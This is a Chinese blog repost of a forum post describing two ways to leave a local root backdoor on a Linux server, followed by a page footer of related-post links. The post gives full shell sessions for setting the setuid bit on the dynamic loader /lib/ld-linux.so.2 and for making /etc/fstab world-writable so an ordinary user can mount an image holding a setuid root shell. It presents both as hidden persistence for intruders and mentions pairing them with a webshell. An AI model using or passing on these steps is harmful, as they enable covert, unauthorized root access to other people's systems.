linux服务器留后门,Linux下留本地后门的两个方法

小咪咪 2023-01-21 08:22 183阅读 0赞

Linux下留本地后门的两个方法

方法一：setuid的方法，其实8是很隐蔽。看看过程:

\[root@localdomain lib\]\# ls -l |grep ld-linux

lrwxrwxrwx 1 root root    9 2008-06-07 17:32 ld-linux.so.2 -> ld-2.7.so

lrwxrwxrwx 1 root root    13 2008-06-07 17:47 ld-lsb.so.3 -> ld-linux.so.2

\[root@localdomain lib\]\# chmod +s ld-linux.so.2

\[root@localdomain lib\]\# ls -l |grep ld-2.7.so

\-rwsr-sr-x 1 root root 128952 2007-10-18 04:49 ld-2.7.so

lrwxrwxrwx 1 root root    9 2008-06-07 17:32 ld-linux.so.2 -> ld-2.7.so

\[root@localdomain lib\]\#

我们这里给/lib/ld-linux.so.2这个文件(在FC8里，它指向ld-2.7.so这个文件)加了setuid属性。然后我们看怎么利用它。

普通用户登录，测试下权限：

\[xiaoyu@localdomain ~\]$ whoami

xiaoyu

\[xiaoyu@localdomain ~\]$ /lib/ld-linux.so.2 \`which whoami\`

root

\[xiaoyu@localdomain ~\]$

恩，嘿嘿 root了吧，具体怎么生成root shell，你们自己去想吧，凡事都不要点得太透，对吧。呵呵，可以肯定的一点，/lib/ld-linux.so.2 /bin/sh肯定生成不了rootshell， bash检查euid 和uid，看是否相等...OK，不多说了。

方法二：

看过程:

\[root@localdomain etc\]\# chmod a+w /etc/fstab

\[root@localdomain etc\]\#

这就留好了。此方法比较XXOXX，估计没几个管理员知道。利用方法演示下

\[xiaoyu@localdomain ~\]$ ls -l /etc/fstab

\-rw-rw-rw- 1 root root 456 2008-06-07 17:28 /etc/fstab

\[xiaoyu@localdomain ~\]$ echo 'test /mnt ext2 user,suid,exec,loop 0 0' >> /etc/fstab

然后从本机把一个文件到目标机器上去，这里我们命名为test

\[xiaoyu@localdomain tmp\]$ ls -l test

\-rw-rw-r-- 1 xiaoyu xiaoyu 102400 2008-04-20 02:51 test

\[xiaoyu@localdomain tmp\]$ mount test

\[xiaoyu@localdomain tmp\]$ cd /mnt

\[xiaoyu@localdomain mnt\]$ ls -l

total 18

drwx------ 2 root root 12288 2008-04-20 05:44 lost+found

\-rwsr-sr-x 1 root root 4927 2008-04-20 05:44 root

\[xiaoyu@localdomain mnt\]$ ./root

sh-3.2\#

看到了吧，从普通用户提升到root了。呵呵。

test这个文件baidu貌似木有上传功能撒，木办法传

貌似可能有人说本地后门木啥鸟用，但是你要搞清楚：一个webshell里面就可以完成这一切....

\[本话题由 tjhzh2009 于 2009-11-15 12:47:43 编辑\]

发表评论取消回复

表情：

评论列表（有 0 条评论，183人围观）

还没有评论，来说两句吧...

相关阅读

相关 [ 应急响应基础篇 ] Windows系统隐藏账户详解（Windows留后门账号）

[ 应急响应基础篇 ] Windows系统隐藏账户详解（Windows留后门账号）

亦凉/ 2024年04月29日 02:02/ 0 赞/ 94 阅读

相关之前做的一个leetcode的题目记录下(留个纪念)

<?php //一个leetcode的题目,提供一个数组与和筛选出数组中加起来等于这个和的元素 / 两层循环解法

淩亂°似流年/ 2023年06月04日 12:53/ 0 赞/ 23 阅读

相关 linux服务器留后门,Linux下留本地后门的两个方法

Linux下留本地后门的两个方法方法一：setuid的方法，其实8是很隐蔽。看看过程: \[root@localdomain lib\]\ ls -l |grep ld-

小咪咪/ 2023年01月21日 08:22/ 0 赞/ 184 阅读

相关 php如何留后门,ThinkPHP留后门技巧

欢迎来到阿八个人博客网站。本阿八个人博客网站提供最新的站长新闻,各种互联网资讯。喜欢本站的朋友可以收藏本站,或者加QQ:我们大家一起来交流技术! URL链接：ht

你的名字/ 2023年01月17日 10:53/ 0 赞/ 241 阅读

相关留后门？Nacos被爆存在严重的旁路身份验证安全漏洞！

留后门？Nacos被爆存在严重的旁路身份验证安全漏洞！ 2021 年 1 月 15 日，也就是昨天，Nacos 发布了新版本 1.4.1。该版本发布了很多新特性和增强的功能。

ゞ浴缸里的玫瑰/ 2023年01月08日 02:27/ 0 赞/ 452 阅读

相关使用Python一键删除全盘文件自动关机并留后门

点击上方“Python爬虫与数据挖掘”，进行关注回复“书籍”即可获赠Python从入门到进阶共10本电子书今日鸡汤至今思项羽，不肯过江东。 /1 前

本是古典何须时尚/ 2022年10月16日 14:29/ 0 赞/ 107 阅读

相关留不住的2014

燕子去了，有再来的时候；杨柳枯了，有再青的时候；桃花谢了，有再开的时候。但是，聪明的，你告诉我，我们的日子为什么一去不复返呢？——是有人偷了他们罢：那是谁？又藏在何处呢？是

阳光穿透心脏的1/2处/ 2022年08月07日 02:40/ 0 赞/ 197 阅读

相关留个记号学习（装13）

1、[《Spring源码深度解析》高清完整PDF版][Spring_PDF] 2、spring源码剖析（IOC、AOP、bean等） 3、[spring AOP详

小咪咪/ 2022年06月07日 09:06/ 0 赞/ 160 阅读

相关后端留着自己看

@RequestMapping("/kkk") @ResponseBody public String kkk(String schoolid

Bertha 。/ 2022年05月10日 07:56/ 0 赞/ 249 阅读

相关 mysql 附近推荐留个记录

ROUND(6378.138 \ 2 \ ASIN(SQRT(POW(SIN(($latitude\ PI() / 180 - latitude \ PI() / 180) /

爱被打了一巴掌/ 2021年12月17日 11:23/ 0 赞/ 188 阅读